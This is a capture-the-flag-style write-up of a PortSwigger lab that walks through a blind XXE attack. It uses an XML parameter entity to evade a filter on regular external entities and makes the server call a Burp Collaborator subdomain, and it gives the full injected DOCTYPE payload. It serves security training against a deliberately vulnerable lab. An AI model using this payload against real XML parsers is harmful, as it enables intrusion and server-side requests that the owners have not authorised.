Blind XXE with out-of-band interaction via XML parameter entities

3 min read Easy PortSwigger
XXE
Contents

On this page

The lab

here is how portswigger describes it

This lab has a "Check stock" feature that parses XML input, but does not display any unexpected values, and blocks requests containing regular external entities.

To solve the lab, use a parameter entity to make the XML parser issue a DNS lookup and HTTP request to Burp Collaborator.

this follows the blind xxe out of band lab. that one was already blind, but a plain external entity was enough to make the parser call home. this lab tightens the screws, it filters out requests that contain a regular external entity, so the exact payload from last time gets blocked. the way around it is a different kind of entity a parameter entity

The idea#

the entities we have used so far are general entities, the ones you declare with <!ENTITY xxe ...> and reference in the document body with &xxe;. this lab watches for those and blocks them. xml has a second flavour meant only for use inside the doctype itself, called a parameter entity, and it is written and referenced differently. you declare it with a % between ENTITY and the name, <!ENTITY % xxe ...>, and you reference it with %xxe; rather than &xxe;. because it lives and is referenced entirely inside the doctype, it never appears in the document body at all, which is exactly why it slips past a filter that is only looking at the body for regular external entities.

everything else is the same as the previous lab. it is still blind, so we still prove the bug out of band by pointing the entity at a burp collaborator subdomain and watching for the dns lookup and http request the parser sends when it resolves the entity. collaborator needs burp pro.

Step 1 - Find the xml being parsed#

after deploying the lab we get an ecommerce site and opening any product gives a check stock button. we click it with burp intercepting and the request body is xml.

1
XML
<?xml version="1.0" encoding="UTF-8"?>
<stockCheck><productId>1</productId><storeId>1</storeId></stockCheck>

nothing useful comes back in the response, so as with the last lab this is blind and we need the out of band approach. this time we also know a plain external entity would be blocked, so we go straight to a parameter entity.

Step 2 - Declare a parameter entity pointing at collaborator#

in burp we open the collaborator tab, copy the unique subdomain and build a doctype that declares a parameter entity aimed at that subdomain and then references it.

XML
<!DOCTYPE stockCheck [<!ENTITY % xxe SYSTEM "http://your-collaborator-subdomain"> %xxe; ]>

reading it piece by piece, <!ENTITY % xxe SYSTEM "http://your-collaborator-subdomain"> declares a parameter entity, the % is what makes it a parameter entity rather than a general one, and the SYSTEM keyword with the http url makes it external so resolving it fires a request to our subdomain. then %xxe; right after it, still inside the doctype, is what actually references the entity and forces the parser to resolve it. we never touch the document body, so there is no &xxe; for the filter to catch.

we inject this between the xml declaration and the stockCheck element, leaving the body as it was.

XML
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE stockCheck [<!ENTITY % xxe SYSTEM "http://your-collaborator-subdomain"> %xxe; ]>
<stockCheck><productId>1</productId><storeId>1</storeId></stockCheck>

Step 3 - watch the interactions in collaborator#

we send it, the response tells us nothing, and the proof is back in the collaborator tab, where after polling we see interactions arrive from the lab server, a dns lookup for our subdomain followed by an http request to it.

2

those hits mean the parser resolved our parameter entity and reached out to a domain it had no business contacting, which is the out of band signal that the xxe is real even though the filter blocked the ordinary entity.

with this, we solved the lab!